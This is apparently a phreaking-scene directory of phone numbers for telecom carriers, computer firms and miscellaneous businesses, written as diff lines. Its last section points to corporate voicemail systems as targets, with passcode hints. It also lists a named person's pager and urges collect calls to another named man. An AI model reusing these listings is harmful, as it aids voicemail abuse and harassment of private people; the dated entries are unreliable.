+1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French)
+1-800-994-MOST Sprint Canada.
+1-800-EARTHLINK EarthLink Sprint. (Internet)
+1-800-FON-CARD Sprint's automated calling.
+1-877-283-2933 Sprint.
+1-877-283-2934 Sprint's Business Line.
+1-877-283-2935 Sprint Automated Customer Service.
+1-877-4-NIGHTS Sprint Nickel Nights.
+1-877-4-WEEKENDS Sprint Weekends.
+1-877-4-YOURPLAN Sprint BusinessFlex.
+1-877-431-EASY Sprint Canada Easy Unlimited.
+1-877-508-XTRA Sprint Canada "The Most" Online.
+1-877-525-XTRA Sprint Canada "The Most" Online.
+1-877-533-XTRA Sprint Canada "The Most" Online.
+1-877-537-XTRA Sprint Canada "The Most" Online.
+1-877-591-EASY Sprint Canada Easy Unlimited.
+1-877-592-EASY Sprint Canada Easy Unlimited.
+1-877-597-EASY Sprint Canada Easy Unlimited.
+1-877-598-EASY Sprint Canada Easy Unlimited.
+1-877-5CONTACT Sprint.
+1-877-602-EASY Sprint Canada Easy Unlimited.
+1-877-727-5835 Sprint PCS.
+1-877-770-7928 Sprint Canada Ascenda.
+1-877-901-7400 Sprint Canada Ascenda.
+1-877-903-1553 Sprint Canada Ascenda.
+1-877-906-MOST Sprint Canada.
+1-877-914-XTRA Sprint Canada "The Most" Online.
+1-877-931-EASY Sprint Canada Easy Unlimited.
+1-877-935-EASY Sprint Canada Easy Unlimited.
+1-877-939-EASY Sprint Canada Easy Unlimited.
+1-877-940-EASY Sprint Canada Easy Unlimited.
+1-877-941-EASY Sprint Canada Easy Unlimited.
+1-877-943-EASY Sprint Canada Easy Unlimited.
+1-877-945-EASY Sprint Canada Easy Unlimited.
+1-877-950-EASY Sprint Canada Easy Unlimited.
+1-877-951-EASY Sprint Canada Easy Unlimited.
+1-877-953-EASY Sprint Canada Easy Unlimited.
+1-877-955-EASY Sprint Canada Easy Unlimited.
+1-877-PCS-PERKS Sprint PCS Northwest Airlines Program.
+1-888-220-3763 Sprint Canada's "The Most" Online.
+1-888-236-EASY Sprint Canada's "The Most" Online.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-296-EASY Sprint Canada.
+1-888-345-0718 Sprint Canada's "The Most" Online.
+1-888-369-DATA Sprint.
+1-888-371-EASY Sprint Canada.
+1-888-4-SPRINT Sprint Business.
+1-888-456-EASY Sprint Canada.
+1-888-490-EASY Sprint Canada's "The Most" Online.
+1-888-496-EASY Sprint Canada.
+1-888-510-EASY Sprint Canada.
+1-888-512-EASY Sprint Canada.
+1-888-579-EASY Sprint Canada.
+1-888-581-EASY Sprint Canada.
+1-888-621-EASY Sprint Canada.
+1-888-657-EASY Sprint Canada.
+1-888-660-EASY Sprint Canada.
+1-888-670-EASY Sprint Canada.
+1-888-671-EASY Sprint Canada.
+1-888-673-EASY Sprint Canada.
+1-888-675-EASY Sprint Canada.
+1-888-677-7464 EarthLink Sprint.
+1-888-680-EASY Sprint Canada's "The Most" Online.
+1-888-685-EASY Sprint Canada's "The Most" Online.
+1-888-689-EASY Sprint Canada's "The Most" Online.
+1-888-690-EASY Sprint Canada's "The Most" Online.
+1-888-710-EASY Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-EASY Sprint Canada.
+1-888-871-5288 Sprint Canada Customer Service.
+1-888-890-2384 Sprint Canada (French)
+1-888-998-2288 Sprint Canada (Chinese)
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-477-7211 US West Communications Public Access Solutions and Smart Cards.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-7US-WEST "Please enter the area code..."
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+1-800-8US-WEST "Please enter the area code..."
+1-800-AIRTOUCH US West "Air Touch".
+1-800-US-WEST0 "Enter Code."
+1-888-4US-WEST US West Home Office Consulting Center.
+
+
+-------------------------------------------------------------------------------
+ Communications and Telephone Companies:
+-------------------------------------------------------------------------------
+
+1-800-201-0640 Touch 1 Communications.
+1-800-222-4444 Armstrong AITS Support Center. (call to report telco outages)
+1-800-222-4500 West Tel Services.
+1-800-225-2545 Century Telephone Long Distance Calls (Hardy, AR)
+1-800-225-5018 Intelephone.
+1-800-225-5123 Starnet.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-231-0989 TTI National Customer Service. (West Palm Beach, FL)
+1-800-231-6720 Discounted Telephone Services (Walnut, CA)
+1-800-231-8949 ITT. (Key West, FL)
+1-800-232-7839 Eastex Telephone After Hours Repair. (Henderson, TX)
+1-800-235-4008 Information America's Client Support. (DDT Online)
+1-800-236-3075 TDS Telecom Network Management.
+1-800-243-0234 Farmstead Telephone. (East Hartford, CT)
+1-800-243-8674 NRG Communications (MI)
+1-800-245-6088 Colorado Telephone Equipment. (Englewood, CO)
+1-800-250-9999 InterMedia Communications Customer Care Center.
+1-800-252-5115 Aviation Telephone Directory. (Stanton, CA)
+1-800-263-5444 Lexsys Networks, Inc. (Nortel Networks Sales and Service)
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-9975 Extend Communications Inc. (Bell Authorized Network Partner)
+1-800-267-2772 Sitel Canada.
+1-800-267-4955 Independent Telephone Services.
+1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-800-281-9616 Telephone Pioneers of America. (Denver, CO)
+1-800-286-8241 Touch 1 Communications.
+1-800-288-2880 OCI Communications.
+1-800-292-6441 Directory Advertising (Yellow Pages)
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-321-7036 Aero-Tech Communications. (Lucent and Nortel Dealer)
+1-800-321-9998 World Access Canada.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-327-5389 A Target Telecom Discount Long Distance Service.
+1-800-327-5389 Discount Long Distance.
+1-800-328-2174 Telematic. (these people are phreakymatic)
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-338-8108 Consolidated Ventura Telephone.
+1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service)
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-349-6874 Mr Telephone. (Palmetto, FL)
+1-800-354-3360 Yelcot Telephone Company. (Mountain Home, AR)
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-356-9968 Yellow Pages Consulting.
+1-800-363-3811 Belcom Communications.
+1-800-366-4750 Ranco. (Telephone Equipment Systems Service and Repair)
+1-800-369-8885 Citizens Communications. (Telephone Company)
+1-800-373-2324 McLeodUSA (Telephone directories and service)
+1-800-374-5364 Audi Telecommunications Customer Care Center.
+1-800-387-0005 Primus Canada.
+1-800-387-2837 Dominion Telephone Systems Ltd.
+1-800-387-4172 The Canadian Telephone Company Inc.
+1-800-392-9857 Standard Payphones of America. (Carlsbad, CA)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-399-3970 Maritel (Marine Radiotelephone Common Carrier Communication)
+1-800-401-0350 FiberNet Telemanagement. (Telephone Company)
+1-800-401-4141 FiberNet Telemanagement, Inc.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-422-1199 Broadway Communications. (Long Distance)
+1-800-422-2387 Poka-Lambro Telephone. (Tahoka, TX)
+1-800-424-6262 ITT Voice Mail. (Meridian Mail)
+1-800-426-4000 Pearce Communications.
+1-800-433-5853 All-Tel.
+1-800-435-7194 Primus (Fax)
+1-800-444-2817 Primus Customer Care Center. (Spanish)
+1-800-444-9000 Telecom USA.
+1-800-453-7638 SNET. (Telephone Company in New Haven, CT)
+1-800-453-7638 SNET. (Telephone Company)
+1-800-455-5958 ITC Telecom.
+1-800-457-0276 Action Telephone.
+1-800-462-9791 M Telecom Internet Business Services.
+1-800-465-0049 Deutschland Direct Telecom. (German)
+1-800-467-2355 Century Tel.
+1-800-480-4198 National Communication Network.
+1-800-483-2871 Pacific Coast Communications.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTec Global Communications.
+1-800-494-4884 Primus Trouble Reporting Department.
+1-800-521-5422 Group Long Distance (Fort Lauderdale, FL)
+1-800-524-4736 National Phone Lines (Hales Corners, WI)
+1-800-531-0003 STS Incorporated. (Telephone Company)
+1-800-533-4171 Century Tel Repair.
+1-800-535-2211 Touch Tone America. (Long Distance Service)
+1-800-540-3598 10-10-220 Customer Service.
+1-800-540-7903 StarTec Long Distance. (Chinese)
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, etc.)
+1-800-544-4660 Plantronics Telephone Headsets.
+1-800-545-6188 Hope Telecom.
+1-800-545-7000 Komtek Communications.
+1-800-555-1212 Toll Free Directory Assistance/Info. (the 411 of toll free)
+1-800-555-7665 TelAmerica.
+1-800-562-8697 Teledo Telephone Company, Inc.
+1-800-562-9880 TCL Network.
+1-800-568-5681 Eclypse Telecommunications.
+1-800-568-8929 Latin American Enterprise Telephone. (Miami, FL)
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-582-3425 Idealdial Corporation (Colorado)
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call Home America.
+1-800-594-5900 Call Home America (Global Crossing) Customer Service.
+1-800-599-7930 Power and Telephone Supply. (Tampa, FL)
+1-800-622-4354 Electric Lightwave Network Service Center.
+1-800-627-5609 Conquest Customer Service.
+1-800-631-3449 Total Tel.
+1-800-632-0585 Brant Telephone.
+1-800-638-5298 Global Telecom Supplies. (Meridian, Norstar)
+1-800-651-2355 MobileTel, Inc.
+1-800-654-3373 Hertz Technologies Customer Service. (Long Distance Service)
+1-800-658-5600 All-Star Customer Service.
+1-800-661-1886 Palco Telecom Inc. (call diverters, lineman test sets, etc.)
+1-800-667-7656 Accord Communications Inc. (Lucent PBX and VMB systems, etc.)
+1-800-704-7977 Primus Communications.
+1-800-722-2300 Nynex President Switchboard.
+1-800-727-6874 Network Telephone Services. (Woodland Hills, CA)
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-746-9930 Great Lakes Telephone Corp.
+1-800-749-0300 Pilgrim Telephone.
+1-800-749-8000 Nextel International.
+1-800-768-0015 Call Home America Ultimate 800.
+1-800-768-1212 Chester Telephone.
+1-800-768-1230 Convergent Communications.
+1-800-768-1234 Telecom USA. (10-10-321, 10-10-220 Services)
+1-800-768-2800 Call Home America.
+1-800-768-7777 Call Home America Ultimate 800.
+1-800-777-6842 KPN Telecom.
+1-800-788-8588 Working Assets Long Distance.
+1-800-8-PRIMUS Primus Customer Service Department.
+1-800-805-1000 Total Tel Customer Service.
+1-800-808-8348 Global Crossing.
+1-800-808-SNET SNET All Distance International Dialing Directory.
+1-800-821-1661 InterTel Network Services.
+1-800-821-1831 Hamilton Telecommunications. (Telephone Company)
+1-800-827-0074 Access Global.
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-4707 Office Telecom.
+1-800-827-4827 All-Tel Communications.
+1-800-827-9940 Access Technical Services Call Routing System.
+1-800-827-9950 GE Access Canadian Business Division.
+1-800-829-1011 Network Management Center.
+1-800-833-2330 Consolidated Ventura. (Tucson, AZ)
+1-800-833-2700 Cooperative Communications, Inc.
+1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ)
+1-800-835-7788 US Telecom International.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-858-2399 California Oregon (CalOr) Telephone Company.
+1-800-861-3743 Global Crossing Speedlink.
+1-800-861-3744 Call Home America.
+1-800-864-2501 Williams Communications.
+1-800-864-8351 Quantum Link Communications.
+1-800-872-3369 US WATS.
+1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI)
+1-800-882-2691 Atlantic Telesis Group. (Yonkers, NY)
+1-800-888-1000 Pilgrim Telephone.
+1-800-897-8675 Access Communications, Inc. (Long Distance Service)
+1-800-909-3436 Simtel Inc. Independent Payphone Service. (New York/New Jersey)
+1-800-909-4945 Computer 411.
+1-800-909-5008 LCC Network Services.
+1-800-909-5109 Automated Transmitter System.
+1-800-922-8992 Trans Global. (Long Distance Service)
+1-800-925-1111 TONE. Long Distance.
+1-800-925-2289 US Tel Customer Service.
+1-800-926-1350 Marketing Directory Services.
+1-800-929-1366 Tel-Save. (Long Distance Service)
+1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service)
+1-800-933-6600 Federal TransTel, Inc.
+1-800-937-2394 Convergent Communications Billing.
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-968-0461 Enterprise Telephone.
+1-800-972-0600 US WATS Customer Service.
+1-800-991-9900 Brant Telephone.
+1-800-999-2222 Pilgrim Telephone.
+1-800-ALPHANET Alphanet Solutions. (Telecom Sales)
+1-800-EASY-HOME Corporate Image Marketing. (Vanity 800 numbers, etc.)
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-HI-ITS-ME AlternaCall. (Automated Collect calls in Canada)
+1-800-NEXTEL-9 Nextel.
+1-800-PRIMUS-1 Primus Canada.
+1-800-PRIMUS-2 Primus DSL Sales.
+1-800-WEST-TEL West Group Telecommunications Department.
+1-800-WILLIAMS Williams Communications Emergency line.
+1-877-316-3900 Telephone Service. (Sherwood, AR)
+1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada)
+1-877-396-3939 Union Telecom.
+1-877-465-BELL U.S. Long Distance.
+1-877-466-BELL Network Services, Inc.
+1-877-469-BELL Nevada Bell QuickService.
+1-877-469-BELL Nevada Bell.
+1-877-535-3456 Union Telecom. (English and Italian)
+1-877-615-BELL Watstar Long Distance.
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-703-0599 Primus Canada.
+1-877-703-2248 Primus Canada.
+1-877-703-2249 Primus Canada.
+1-877-703-2250 Primus Canada.
+1-877-703-2263 Primus Canada.
+1-877-703-2264 Primus Canada.
+1-877-703-2267 Primus Canada.
+1-877-777-4681 (1-877-SPRINT-1) London Telecom Network.
+1-877-819-4976 A1Call.com
+1-877-GLOBAL-1 Audi Telecommunications.
+1-877-MOBILECOM 800 Ideas.com Inc.
+1-877-PRIMUS-1 Primus Canada.
+1-877-PRIMUS-2 Primus Canada. (Arabic, French and English)
+1-877-WINTEL-1 WinTel Communications.
+1-877-WINTEL-2 WinTel Communications.
+1-877-WINTEL-3 WinTel Communications. (French)
+1-877-WINTEL-4 WinTel Communications.
+1-877-WINTEL-5 WinTel Communications.
+1-877-WINTEL-6 WinTel Communications.
+1-877-WINTEL-8 WinTel Communications.
+1-877-WINTEL-9 WinTel Communications.
+1-888-216-6609 London Telecom Network.
+1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-888-299-3840 TTI National Dispatch. (Telephone Company)
+1-888-344-0400 Convergent Communications Repairs.
+1-888-376-6843 Dial 800.
+1-888-447-4653 Telephone On Hold Commercials.
+1-888-539-5234 Ducor Telephone. (Ducor, CA)
+1-888-553-8711 Telephone Support Systems.
+1-888-564-6488 IT&T. (Telephone Company)
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-774-6383 Prime Tel Communications, Inc.
+1-888-777-6561 Florida Telephone. (West Palm Beach, FL)
+1-888-825-2355 Connect America.
+1-888-933-6786 NPA West.
+1-888-ALPHANET Alphanet Solutions.
+1-888-GLOBAL-1 Primus Canada.
+1-888-ITSGREAT American Telecom Network. (sign up for toll free numbers)
+1-888-MILLENNIUM 800 Ideas.com
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-SHAWPAGE Shaw Call Center.
+1-888-TELE-COR Telecore.
+1-888-WINTEL-1 WinTel Communications.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Computer Companies and Internet Services:
+-------------------------------------------------------------------------------
+
+1-800-218-6850 MSN (Micro$oft Network)
+1-800-221-4677 Micro$oft Seminars.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-223-7065 Unisys. (San Jose, CA)
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5664 NEC.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-234-9999 Dell Computer Corp. Preferred Accounts Division.
+1-800-242-0080 Compaq Corporation.
+1-800-245-4786 MSN (Micro$oft Network)
+1-800-260-DELL DELL.
+1-800-263-1121 Canon Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-2777 IBM Software Replication Services.
+1-800-263-3394 Apple Canada.
+1-800-267-1100 Compaq Canada.
+1-800-267-5251 Compaq Services Canadian Customer Support Centre.
+1-800-267-9975 OpenText Corporation.
+1-800-268-1221 Hewlett-Packard Canada Ltd.
+1-800-268-3997 NEC Canada.
+1-800-289-3355 (1-800-BUY-DELL) DELL Canada.
+1-800-296-7160 DELL Canada.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-325-9141 DELL Canada.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-336-5236 Texas Instruments.
+1-800-339-6181 Toshiba.
+1-800-344-4825 (1-800-DIGITAL) Compaq Canada.
+1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals)
+1-800-354-9000 Compaq Customer Services.
+1-800-356-LOOK LOOK Pay Per View, TV and Internet Services.
+1-800-359-9556 Samsung Telecommunications.
+1-800-364-3577 3M Canada.
+1-800-365-9012 Sun Microsystems Educational Services. (Denver, CO)
+1-800-387-3867 Hewlett-Packard Canada Customer Information Centre.
+1-800-387-5645 Toshiba Canada.
+1-800-4-ONLINE America Online order line.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-9996 Micro$oft TechHead 2000 Registration Headquarters.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-463-9241 DELL Canada.
+1-800-465-7748 IBM Products, Sales and Services Center.
+1-800-465-7999 IBM Direct.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-486-4835 SCO Unix Technical Support.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-524-3388 CompuServe.
+1-800-539-6275 (1-800-LEXMARK) Lexmark Canada.
+1-800-553-2447 Cisco Systems Technical Assistance Center.
+1-800-553-6387 Cisco Systems Sales and Customer Service.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-6820 Hitachi Data Systems PC Products Support Services Team.
+1-800-555-9786 Sun Microsystems. (Palo Alto, CA)
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-567-1616 Compaq Canada.
+1-800-569-DELL DELL.
+1-800-586-DELL DELL.
+1-800-595-8480 Rogers@Home.
+1-800-622-4786 Sun Microsystems Hardware Support and Information.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-647-2355 MinIowa PC Partner.
+1-800-648-4452 American Microsystems.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (Data recovery)
+1-800-661-7274 SeaChange (Internet Services)
+1-800-663-0378 Toshiba Canada Notebook Computer Division.
+1-800-665-2775 Apple Canada Dealer Locator Line.
+1-800-696-8909 Internet Direct Corporate Business Solutions.
+1-800-722-4786 Sun Microsystems Canada Customer Care Centre.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-7418 DELL Canada.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-746-DELL DELL.
+1-800-752-0900 Hewlett-Packard.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-786-8688 Sun Microsystems Financing-Fax Line.
+1-800-801-7869 Sun Microsystems Investor Relations Department.
+1-800-827-0035 America Online.
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-827-2180 TOS Computer Systems.
+1-800-828-3362 Novell Authorization Department.
+1-800-841-8743 Computer Associates Client Services.
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-1810 Cypress Semiconductor.
+1-800-858-4000 Novell Technical Support.
+1-800-865-1115 Telecom Computer.
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-892-4429 Quanix Data Services.
+1-800-900-DELL DELL.
+1-800-921-DELL DELL.
+1-800-942-6227 Mostly Mac Inc.
+1-800-945-6111 Sun Microsystems Developer Connection.
+1-800-948-DELL DELL.
+1-800-999-DELL DELL Canada.
+1-800-COMP-USA CompUSA Stores and Customer Service.
+1-800-DEFENDER Net Zero. (free Internet service)
+1-800-IOPENER Netpliance.
+1-800-OK-CANON Canon Canada.
+1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department.
+1-800-PEOPLEPC People PC Computer and Internet Service.
+1-800-PSI-1141 PSINet.
+1-800-SCO-UNIX SCO Services Sales.
+1-800-TOSHIBA Toshiba Computer Systems.
+1-877-208-4717 Rogers@Home.
+1-877-584-5551 AltaVista free access support line. (free Internet)
+1-877-727-3375 MinIowa Help Desk.
+1-877-EXECULINK ExecuLink Internet Services.
+1-877-HOWEWORK Dell.
+1-877-NOVELL-1 Novell.
+1-877-SHARP-22 Sharp Canada Customer Care Center.
+1-877-YOUR-MSN Micro$oft Network.
+1-88-TELIGENT Teligent.
+1-888-267-3856 Compaq.
+1-888-288-4663 Rogers@Home Technical Support.
+1-888-321-3737 VIF Internet.
+1-888-4-SENTEX Sentex Communications.
+1-888-453-9226 Lexmark Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-622-3289 Fastekk Systems.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-700-3279 InterTel Network Solutions.
+1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer)
+1-888-750-6990 Shaw@Home Technical Support.
+1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA)
+1-888-786-2310 Sun Microsystems. (Broomfield, CO)
+1-888-786-3463 Sun Microsystems. (Palo Alto, CA)
+1-888-791-0176 Primus Canada (iPrimus)
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group.
+1-888-858-4PSI PSINet Canada.
+1-888-871-5111 Hewlett-Packard Computer Supplies.
+1-888-DELL-PCS DELL Canada.
+1-888-IBM-5800 IBM Small Business Solutions Center.
+1-888-PSI-NET1 PSINet Limited.
+1-888-PSI-NET2 PSINet Limited.
+1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Numbers:
+-------------------------------------------------------------------------------
+
+(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect!
+(303) 499-7111 Atomic Clock in Colorado.
+(312) 408-1400 TU (Trans Union)
+(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats)
+(937) 445-4357 NCR HQ. (option 2)
+
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-205-6700 Coolemail.com
+1-800-221-2255 American Airlines VMS.
+1-800-222-5000 AAA's Air, Hotel and Car Reservations.
+1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB.
+1-800-222-TIPS Crime Stoppers.
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-255-3700 Nintendo.
+1-800-263-0656 NCR.
+1-800-263-1136 Statistics Canada.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-1177 Canada Post.
+1-800-267-7000 Royal Canadian Mint. (show me the money)
+1-800-267-7777 Department of Justice. (Canada)
+1-800-289-6241 Mag-Lite flashlights.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-6000 Audix VMB.
+1-800-353-0809 Call to remove yourself from Credit Card company lists.
+1-800-360-2255 Century 21 Realty VMS.
+1-800-387-4636 Nestle Canada.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-4-DOTCOM Network Solutions. (the Dot Com people)
+1-800-400-VIEW Rogers Cable Viewer's Choice.
+1-800-407-2247 Quaker Oats Company.
+1-800-418-6245 Blockbuster's VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-0000 Systematic. (these people aren't very phreakymatic)
+1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!)
+1-800-452-9996 Statistics Canada.
+1-800-461-2800 Canadian Tire Cardholder Services.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-465-1176 Meridian Mail VMB.
+1-800-468-1714 Hershey Canada.
+1-800-472-5451 Hershey Canada Inc.
+1-800-488-7040 ADT Security.
+1-800-501-1150 Hershey Canada Inc. (French)
+1-800-501-6245 Database America's answering machine.
+1-800-541-6821 Super Bureau Inc. (find documents on almost anyone)
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-6620 Meridian Mail VMB.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-565-6317 Cadbury.
+1-800-5678-HMV HMV Music Store.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-663-1243 Adbusters Media Foundation. (Culture Jamming)
+1-800-663-7780 NCR Invoicing Department.
+1-800-666-1474 American Coin Machine.
+1-800-668-1417 Global Business Centers.
+1-800-668-3979 Bestobell Canada Ltd (Toronto)
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-672-3888 National Rifle Association Hotline.
+1-800-678-8774 Source Resources (the source for finding people)
+1-800-682-7654 Experion Credit checks/reports. (formerly TRW)
+1-800-685-1101 CB (Equifax)
+1-800-685-1102 CB (Equifax)
+1-800-685-1103 CB (Equifax)
+1-800-685-1104 CB (Equifax)
+1-800-685-1111 CB (Equifax)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-688-6115 National Security Agency (NSA) INFOSEC Center.
+1-800-707-0570 Ad Ventures Inc.
+1-800-724-3780 Seiger Electronics.
+1-800-724-6644 Ext. #22783700 Phone Losers of America VMB.
+1-800-777-2255 Phone Works VMS.
+1-800-792-1000 Columbia House CD-ROM Club.
+1-800-800-8800 Target Directory.
+1-800-842-2255 American Express VMS (Audix)
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-909-3250 Meridian Mail VMB.
+1-800-909-4672 National Rifle Association (NRA)
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-939-4484 ITI (Information Technology Institute)
+1-800-949-6245 Phone Mail VMB.
+1-800-954-6245 OcTel VMB.
+1-800-CRIME-TV America's Most Wanted.
+1-800-DIRECTV DirecTV. (satellite television)
+1-800-FIRST-CALL First Call. (Cable Locate Service)
+1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB)
+1-800-GO-FEDEX FedEx.
+1-800-KRAMERS The Real Kramer's Reality Tour in New York City.
+1-800-MOLSON-1 Molson Canada.
+1-800-NY-TIMES New York Times Customer Service.
+1-800-O-CANADA Government of Canada.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-877-326-2826 NCR Bell Help Desk.
+1-877-450-9488 Wraith Tech Industries Main Number. (24/7)
